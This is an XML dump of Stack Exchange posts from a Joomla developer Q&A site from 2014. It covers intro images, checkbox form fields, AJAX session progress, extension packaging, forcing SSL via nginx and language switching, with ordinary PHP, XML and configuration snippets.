  <row Id="3687" PostTypeId="2" ParentId="3686" CreationDate="2014-07-20T20:49:42.890" Score="2" Body="&lt;p&gt;If troubleshooting Joomla takes too much time, then force ssl on admin using nginx. Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    root /var/www/&#xA;    location / {&#xA;    }&#xA;    location /administrator {&#xA;        rewrite ^ https://$http_host$request_uri? permanent;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastActivityDate="2014-07-20T20:49:42.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3688" PostTypeId="2" ParentId="3681" CreationDate="2014-07-20T22:21:40.050" Score="0" Body="&lt;p&gt;It's very unclear what you're asking for....populating forms, adding to carts, or downloading with no mention of what kind of cart you're working with.  Any of these are considerable work  to tie them altogether, so I'd suggest starting at the &lt;a href=&quot;http://extensions.joomla.org/extensions/e-commerce/paid-downloads&quot; rel=&quot;nofollow&quot;&gt;Paid Downloads Extensions for Joomla&lt;/a&gt; and see what's already done, or download one of the few free ones and see if it comes close to what you're asking for.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-07-20T22:21:40.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3689" PostTypeId="2" ParentId="3651" CreationDate="2014-07-20T22:40:42.903" Score="1" Body="&lt;p&gt;It sounds to me like you need to build a content plugin (it's quite easy) to strip the tags.  See &lt;a href=&quot;http://docs.joomla.org/J2.5:Creating_a_content_plugin&quot; rel=&quot;nofollow&quot;&gt;Creating a content plugin&lt;/a&gt;, and put your code in the php file.  The event that should trigger it is likely the &lt;code&gt;onContentPrepare&lt;/code&gt; event, or perhaps &lt;code&gt;onContentBeforeDisplay&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-07-20T22:40:42.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3690" PostTypeId="1" CreationDate="2014-07-21T00:51:07.117" Score="7" ViewCount="15206" Body="&lt;p&gt;I am trying to customize the the category list of my website. So I have a menu option that shows the list of all article is a certain category. In this list I would like to show the into image of the article too. But unfortunately I cannot find the path of this intro image of each article to put it in the '' tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code takes the first image in the article. Which is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$text = $article-&amp;gt;introtext;&#xA;if(preg_match('/&amp;lt;\s*img[^&amp;gt;]+&amp;gt;/Ui', $text, $matches)){&#xA;&#xA;   $image=$matches[0];&#xA;   $text = str_replace($image,'',$text);&#xA;}&#xA;if ($matches) {&#xA;$image = str_replace('img src=&quot;','img width=&quot;150px&quot; src=&quot;/demo/persianlondon/',$image);&#xA;$image = str_replace(&quot;caption&quot;,&quot;&quot;, $image);&#xA;echo '' . $image . '';&#xA;}&#xA;else {echo '&amp;lt;img width=&quot;150px&quot; src=&quot;http://goo.gl/k47rNN&quot; class=&quot;defaultArticleImage&quot; /&amp;gt;';}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I need to get the intro image url and set it for $image. Any idea to do it?&lt;/p&gt;&#xA;" OwnerUserId="1673" LastEditorUserId="1629" LastEditDate="2014-07-31T12:07:25.227" LastActivityDate="2019-10-11T20:14:16.357" Title="How to get the intro image of a joomla article" Tags="|component|joomla-api|articles|com-content|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3691" PostTypeId="2" ParentId="3690" CreationDate="2014-07-21T03:10:52.083" Score="13" Body="&lt;p&gt;That code is looking in the article text you need to is in the images call. It is json encoded so you have to decoded it first.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images  = json_decode($this-&amp;gt;item-&amp;gt;images);&#xA;&#xA;echo $images-&amp;gt;image_intro;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a look at the com_content/article/default.php template to see some of the other parts of data you can use for images.&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-07-21T03:10:52.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3692" PostTypeId="1" CreationDate="2014-07-21T03:53:25.940" Score="2" ViewCount="102" Body="&lt;p&gt;I'm building a component that store info about the client and it stores only the numbers of the &lt;code&gt;JApplicationWebClient&lt;/code&gt; constants instead the browser name, system name, etc, . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if the constants change, things will get a bit messy.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="159" LastEditDate="2014-07-21T15:42:32.460" LastActivityDate="2014-07-21T15:46:48.957" Title="Any Chance of JApplicationWebClient constants changing in the future?" Tags="|joomla-api|browser|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3693" PostTypeId="2" ParentId="3681" CreationDate="2014-07-21T08:55:05.823" Score="1" Body="&lt;p&gt;I have used RSform Pro (&lt;a href=&quot;http://www.rsjoomla.com/joomla-extensions/joomla-form.html&quot; rel=&quot;nofollow&quot;&gt;http://www.rsjoomla.com/joomla-extensions/joomla-form.html&lt;/a&gt;) on many of my Joomla sites and I am very happy with it. I think it would meet all of your requirements. You have the ability to  to populate a selectbox or field with values taken from an external table or from any Joomla table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also integrate Paypal very easily, so this gives users the option of selecting their desired sermon, and paying that way. Set up custom emails, attach files, manage lists, access controls for admins etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This extension also allows for custom php scripting such as scripts called on form display / on form process / after form process. So you have the option of writing your own functions and embedding these within your form, alternatively there are a number of plugins that come with the pro version - &lt;a href=&quot;http://www.rsjoomla.com/support/documentation/view-knowledgebase/26-plugins-and-modules.html&quot; rel=&quot;nofollow&quot;&gt;http://www.rsjoomla.com/support/documentation/view-knowledgebase/26-plugins-and-modules.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-21T08:55:05.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3694" PostTypeId="1" AcceptedAnswerId="3695" CreationDate="2014-07-21T11:03:52.470" Score="1" ViewCount="148" Body="&lt;p&gt;Bit of a long shot but does anyone know which Joomla component/plugin/module has tmp_object_relations as a table? I have inherited a site with a lot of components and thought it might be a SobiPro table but apparently not. Looks like a cache table of some sort but it's missing from my DB and I occasionally get the following error. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1146 Table 'l-XXXXXX.XXXXXX_tmp_object_relations' doesn't exist SQL=SELECT id FROM `XXXXXX_tmp_object_relations` WHERE pid = '240' ORDER BY id desc LIMIT 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pid will vary depending on the page.&lt;/p&gt;&#xA;" OwnerUserId="187" LastActivityDate="2014-07-21T12:38:59.670" Title="Does anyone know which component has tmp_object_relations as a table?" Tags="|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3695" PostTypeId="2" ParentId="3694" CreationDate="2014-07-21T12:38:59.670" Score="2" Body="&lt;p&gt;This temporary table is used by a &lt;strong&gt;Joomla-SobiPro search plugin&lt;/strong&gt; (Extly Extensions, any of the SobiPro search extensions). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's part of the indexation process. The table is only used temporarily, and no error should be shown. If you have enabled &lt;em&gt;In Memory temporary tables&lt;/em&gt;, the associated feature may not be available in your database, try to disable them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PD: I'm changing the tmp table name to ease debugging ;-) In any case, please, contact us to follow the topic in any of the support channels.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-21T12:38:59.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3696" PostTypeId="2" ParentId="3692" CreationDate="2014-07-21T12:47:24.410" Score="1" Body="&lt;p&gt;Yes, they can change. I think it's not highly probable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, you have to implement an abstraction layer to avoid any impact, or support several versions of JApplication clients.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-21T12:47:24.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3697" PostTypeId="2" ParentId="3692" CreationDate="2014-07-21T15:41:24.650" Score="2" Body="&lt;p&gt;Yes, software does change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To somehow &lt;strong&gt;reverse the order of constants&lt;/strong&gt;, so that &lt;code&gt;CHROME&lt;/code&gt; is renamed from 19 to 5, would make little sense to me and &lt;strong&gt;very unlikely to happen.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally things change so that a problem can be solved (taking into account b/c). I would rather say there is a risk of this class being deprecated on the long run sometime later (Joomal 4 or Joomla 5) for whatever reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Looking at the history of this class&lt;/strong&gt; (since 2011), there have been little changes done (just additions), even since the Joomla Platform times till the new Joomla Framework. So I would say you are on the safe side, at least in 3.x and the foreseeable 4.x based on the Joomla Framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My advice&lt;/strong&gt;: until you don't have a problem, don't spend your time fixing it (aka don't build on top of JApplicationWebClient if the current functionality works fine). If you need to read this information years later (5 -10 years), maybe from non-Joomla applications, maybe you should store strings (if storage is not an issue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should first start to worry when this class is deprecated. &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-07-21T15:46:48.957" LastActivityDate="2014-07-21T15:46:48.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3698" PostTypeId="1" AcceptedAnswerId="3700" CreationDate="2014-07-21T18:26:45.893" Score="2" ViewCount="92" Body="&lt;p&gt;I have built a plugin that is very similar to a google analytics kind of plugin (but for a third party).&#xA;Now I have to add a functionality that adds a custom contact form on the sidebar, but I don't know if I can put both on the same physical files or if I should do two different extensions for the two functionalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that on the  section I can define if a file it's a plugin or a module etc, but I don't know if I can place both on the same xml.&#xA;Anyone can help me?&lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2016-07-17T20:52:34.387" Title="Modules and plugin in one package" Tags="|extensions|plugin|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3699" PostTypeId="1" AcceptedAnswerId="10119" CreationDate="2014-07-21T18:31:52.843" Score="5" ViewCount="6259" Body="&lt;p&gt;My component needs to save mulitple options, and I can't seem to get my head wrapped around how to do it.  Referring to &lt;a href=&quot;http://docs.joomla.org/Checkboxes_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Checkboxes form field type&lt;/a&gt;, I'm not sure how Joomla is expecting to save the options that the user has selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: To be clear, i'm referring to the plural &lt;code&gt;checkboxes&lt;/code&gt; field type, not &lt;code&gt;checkbox&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the XML that I'm using&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;content_subrating&quot;&#xA;    label=&quot;Content Subrating&quot;&#xA;    type=&quot;checkboxes&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;D&quot;&amp;gt;Suggestive Dialog&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;L&quot;&amp;gt;Course Language&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;S&quot;&amp;gt;Sexual Content&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;V&quot;&amp;gt;Violence&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resulting HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset class=&quot;checkboxes&quot; id=&quot;jform_content_subrating&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; checked=&quot;&quot; value=&quot;D&quot; name=&quot;jform[content_subrating][]&quot; id=&quot;jform_content_subrating0&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;jform_content_subrating0&quot; aria-invalid=&quot;false&quot;&amp;gt;Suggestive Dialog&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; value=&quot;L&quot; name=&quot;jform[content_subrating][]&quot; id=&quot;jform_content_subrating1&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;jform_content_subrating1&quot;&amp;gt;Course Language&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; value=&quot;S&quot; name=&quot;jform[content_subrating][]&quot; id=&quot;jform_content_subrating2&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;jform_content_subrating2&quot;&amp;gt;Sexual Content&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; value=&quot;V&quot; name=&quot;jform[content_subrating][]&quot; id=&quot;jform_content_subrating3&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;jform_content_subrating3&quot;&amp;gt;Violence&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And the resulting input&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRequest::getVar('jform')['content_subrating']) =&amp;gt;&#xA;Array&#xA;(&#xA;    [0] =&amp;gt; L&#xA;    [1] =&amp;gt; V&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my perfect world, it would concatenate all the value and store them in one column, but I don't expect that's what Joomla would do by default.  If not, then how would one specify which values go to where such that Joomla can later understand how to retrieve the values.  I'm sure I'm missing something obvious, but I'm stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain how Joomla deals with this, or give me a core example that does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Conclusion:&lt;/em&gt;&lt;/strong&gt;  It seems that this field type is merely a short hand method of easily creating multiple checkboxes, all of which have the inherent problem of submitting nothing if unchecked.  Because they're submitted as an array, it seems handy enough as long as you're merely processing based on the values being submitted, but seems like a lot of unnecessary work if you ever need to retrieve them.  (&lt;em&gt;Just my opinion, I could be wrong&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Realization (at the very &lt;em&gt;top&lt;/em&gt; of the documentation!):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The checkboxes form field type provides a set of checkboxes. Note:&#xA;  unlike most standard form field types, such as textfield or checkbox,&#xA;  this field is not an &quot;out of the box&quot; solution. It will create&#xA;  checkboxes for you, and submit their values in form of an array, but&#xA;  &lt;strong&gt;it will not store them in the database&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-07-22T14:36:17.813" LastActivityDate="2015-05-26T08:47:53.710" Title="How to work with field type Checkboxes (not checkbox)" Tags="|jform|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3700" PostTypeId="2" ParentId="3698" CreationDate="2014-07-21T18:32:44.580" Score="6" Body="&lt;p&gt;An extension can either be a plugin or a module. It can't be both. That's due to the way modules and plugins are handled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can build the two extensions and package them together and distribute as one zipfile.&#xA;See &lt;a href=&quot;http://docs.joomla.org/Package&quot;&gt;http://docs.joomla.org/Package&lt;/a&gt; for some documentation how packages work.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-21T18:32:44.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3701" PostTypeId="2" ParentId="3699" CreationDate="2014-07-21T20:47:20.850" Score="2" Body="&lt;p&gt;It's less what Joomla does as much more what HTML does. Checkboxes are only sent when checked. Those which aren't checked aren't sent. It's like they don't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the result you get is actually according to HTML standards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I avoid using checkboxes for options as much as possible. They just act to strange to be taken seriously :-)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-21T20:47:20.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3702" PostTypeId="2" ParentId="3699" CreationDate="2014-07-21T22:49:31.800" Score="1" Body="&lt;p&gt;In Users / Mass Mail (administrator/components/com_users/models/forms/mail.xml), you can check an example of its usage. Each checkbox is defined in its own field, instead for managing an array of values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;recurse&quot; type=&quot;checkbox&quot;&#xA;    description=&quot;COM_USERS_MAIL_FIELD_RECURSE_DESC&quot;&#xA;    label=&quot;COM_USERS_MAIL_FIELD_RECURSE_LABEL&quot;&#xA;    value=&quot;1&quot;&#xA;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;mode&quot; type=&quot;checkbox&quot;&#xA;    description=&quot;COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_DESC&quot;&#xA;    label=&quot;COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_LABEL&quot;&#xA;    value=&quot;1&quot;&#xA;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;disabled&quot; type=&quot;checkbox&quot;&#xA;    description=&quot;COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_DESC&quot;&#xA;    label=&quot;COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_LABEL&quot;&#xA;    value=&quot;1&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-21T22:49:31.800" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3703" PostTypeId="2" ParentId="3628" CreationDate="2014-07-22T08:25:56.890" Score="1" Body="&lt;p&gt;I guess the code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = Session::getInstance('none', $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;creates a new instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you need is to get the session that is active, try to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session =&amp;amp; JFactory::getSession();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not tried out but I know. Please let me know the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2014-07-22T08:25:56.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3705" PostTypeId="2" ParentId="3699" CreationDate="2014-07-22T09:42:31.420" Score="3" Body="&lt;p&gt;Seems to me you want to save all the results as an array, and then save that array as JSON in a single field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of field.. look at your database, #__content table, see the attribs field for example of how joomla stores multiple pieces of info in one field as JSON&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just look at how the com_content models and controller work for some reverse engineering goodness!&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-22T09:42:31.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3706" PostTypeId="1" CreationDate="2014-07-22T10:43:56.367" Score="2" ViewCount="401" Body="&lt;p&gt;I have a controller with an action that accepts requests over AJAX, does some data manipulation, and returns some data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function publicDirectoryAjaxSearch(){&#xA;    // Check the form token&#xA;    JSession::checkToken('get') or die('Invalid Token');&#xA;&#xA;    // Don't show PHP errors in raw output&#xA;    ini_set('display_errors', 'Off');&#xA;&#xA;    // Sort out the session status&#xA;    $session = JFactory::getSession();&#xA;    $session-&amp;gt;set('getOrganisationsStatus', 'Searching...');&#xA;&#xA;    // Get orgs&#xA;    $response = $this-&amp;gt;doPublicDirectorySearch();&#xA;&#xA;    // Get the document object.&#xA;    $document = JFactory::getDocument();&#xA;&#xA;    // Set the MIME type for JSON output.&#xA;    $document-&amp;gt;setMimeEncoding('application/json');&#xA;&#xA;    // Change the suggested filename.&#xA;    JResponse::setHeader('Content-Disposition','attachment;filename=&quot;result.json&quot;');&#xA;&#xA;    echo json_encode($response);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method can take a while, so I'm using JSession to store a status variable &lt;code&gt;getOrganisationStatus&lt;/code&gt; that can be periodically checked via AJAX to see how far the &lt;code&gt;$this-&amp;gt;doPublicDirectorySearch()&lt;/code&gt; method has gotten...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function doPublicDirectorySearch(){&#xA;    ...&#xA;    while($running)&#xA;         $session-&amp;gt;set('getOrganisationsStatus', 'Fetched '.$handled.&quot;/&quot;.$totalResults.&quot; results.&quot;);&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm having some issues. If I set the Joomla global config session handler to &lt;strong&gt;Database&lt;/strong&gt; the &lt;code&gt;getOrganisationsStatus&lt;/code&gt; session variable always seems to 'lag' 1 data request behind. For example (in prep for this example I cleared all existing sessions):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a data request via AJAX to &lt;code&gt;publicDirectoryAjaxSearch&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set an interval to get the request status session variable over AJAX to &lt;code&gt;publicDirectorySearchStatus&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Data request still running. Session value changing as &lt;code&gt;$this-&amp;gt;doPublicDirectorySearch()&lt;/code&gt; works through data&lt;/li&gt;&#xA;&lt;li&gt;Status call made from setInterval to &lt;code&gt;publicDirectorySearchStatus&lt;/code&gt;. Returned session variable is empty (this step repeats over the interval)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;publicDirectoryAjaxSearch&lt;/code&gt; data request completes. Method returns JSON object&lt;/li&gt;&#xA;&lt;li&gt;Final status call made over AJAX from setInterval to &lt;code&gt;publicDirectorySearchStatus&lt;/code&gt;. Returned data (the session variable) now shows the correct text as set in the data request method.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If I set the Joomla global config to use &lt;strong&gt;None&lt;/strong&gt; as the session handler (i.e. PHP's built in file-based handler) then the script blocks (as &lt;a href=&quot;https://stackoverflow.com/questions/1174378/php-blocking-when-calling-the-same-file-concurrently&quot;&gt;PHP locks the session file&lt;/a&gt; when a script accesses it, so the AJAX call to find out the status has to wait til the method updating the session variable finishes - defeating the point somewhat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am I going wrong? How can I..&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a call to get data (takes some time)&lt;/li&gt;&#xA;&lt;li&gt;Make a separate call to get a session variable that's being manipulated over time by the first call&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="90" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-10-20T13:31:48.553" Title="Getting progress updates (via AJAX) on a controller action without blocking" Tags="|component|development|jsession|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3707" PostTypeId="2" ParentId="3706" CreationDate="2014-07-22T12:17:05.527" Score="2" Body="&lt;p&gt;All your page requests share the same user session. Thus, if you call several pages, in an asynchronic way, under the same session, you can be finding a &lt;strong&gt;race condition&lt;/strong&gt;. &lt;a href=&quot;http://en.wikipedia.org/wiki/Race_condition&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Race_condition&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As PHP is not multithreading, there's no locking mechanisms to avoid these cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution is to avoid the condition: reorganize the main loop and move the control to the Ajax side. In this way, the browser calls an &lt;strong&gt;initialization&lt;/strong&gt;, the &lt;strong&gt;inner loop&lt;/strong&gt; as many times as necessary, and the &lt;strong&gt;finalization&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have the control so you can show the progress status&lt;/li&gt;&#xA;&lt;li&gt;If you have thousands of items to process you can define discrete batchs of items to process (instead of one by one)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-22T12:17:05.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3708" PostTypeId="1" CreationDate="2014-07-22T13:10:34.253" Score="5" ViewCount="2876" Body="&lt;p&gt;I'm making an AJAX call to my JController and would like to send back a 'partial' view for display within the existing page, populated with some data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to load a file from &lt;code&gt;&amp;lt;view&amp;gt;/tmpl/&lt;/code&gt;, inject data into it and store the resulting snippet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I need to do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;controller.php&lt;/strong&gt; (in action method)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$view = $this-&amp;gt;getView('MyView', 'results'); // loads view.results.php&#xA;$view-&amp;gt;assignRef('data', $response); // assign data&#xA;$storedView = $view-&amp;gt;display(); // store the view&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;view.results.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display($tpl = null){&#xA;    return $this-&amp;gt;loadTemplate('results'); // loads '/&amp;lt;view&amp;gt;/tmpl/default_results.php'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've edited the earlier incorrect code above to what seems to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this best practice for this particular use case? Would it be considered bad form to simply add a new method to the existing &lt;code&gt;view.html.php&lt;/code&gt; that returns the loaded template?&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="159" LastEditDate="2014-09-03T12:35:52.303" LastActivityDate="2014-09-03T12:35:52.303" Title="How to load a partial view into a normal view via AJAX?" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3709" PostTypeId="1" CreationDate="2014-07-22T13:13:40.110" Score="7" ViewCount="2761" Body="&lt;p&gt;As per the title, how can I add custom fields to the article component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorial, &lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot;&gt;http://docs.joomla.org/Adding_custom_fields_to_the_article_component&lt;/a&gt; almost gets there and it a beautiful piece of work, but relies on a core patch that was never accepted into core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess I could do that myself, but it means a hack.  Or I could install an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ways?  What do most people do?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-07-28T09:06:58.983" Title="How can I add custom fields to the article component?" Tags="|content|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3711" PostTypeId="1" CreationDate="2014-07-22T13:51:53.190" Score="3" ViewCount="778" Body="&lt;p&gt;What do I have to configure in joomla so I am able to switch languages manually without having to change my browser language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built a joomla multi language site where I can switch the language with the language flag buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla recognizes and changes the content to the specified language by detecting my browser language. But when I wan't to change the language manually by clicking on one of the language flags, Joomla will refuse to change the language by staying on the same language.&lt;/p&gt;&#xA;" OwnerUserId="1683" LastActivityDate="2014-09-20T15:15:39.580" Title="Language switcher doesn't let me change language manually" Tags="|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
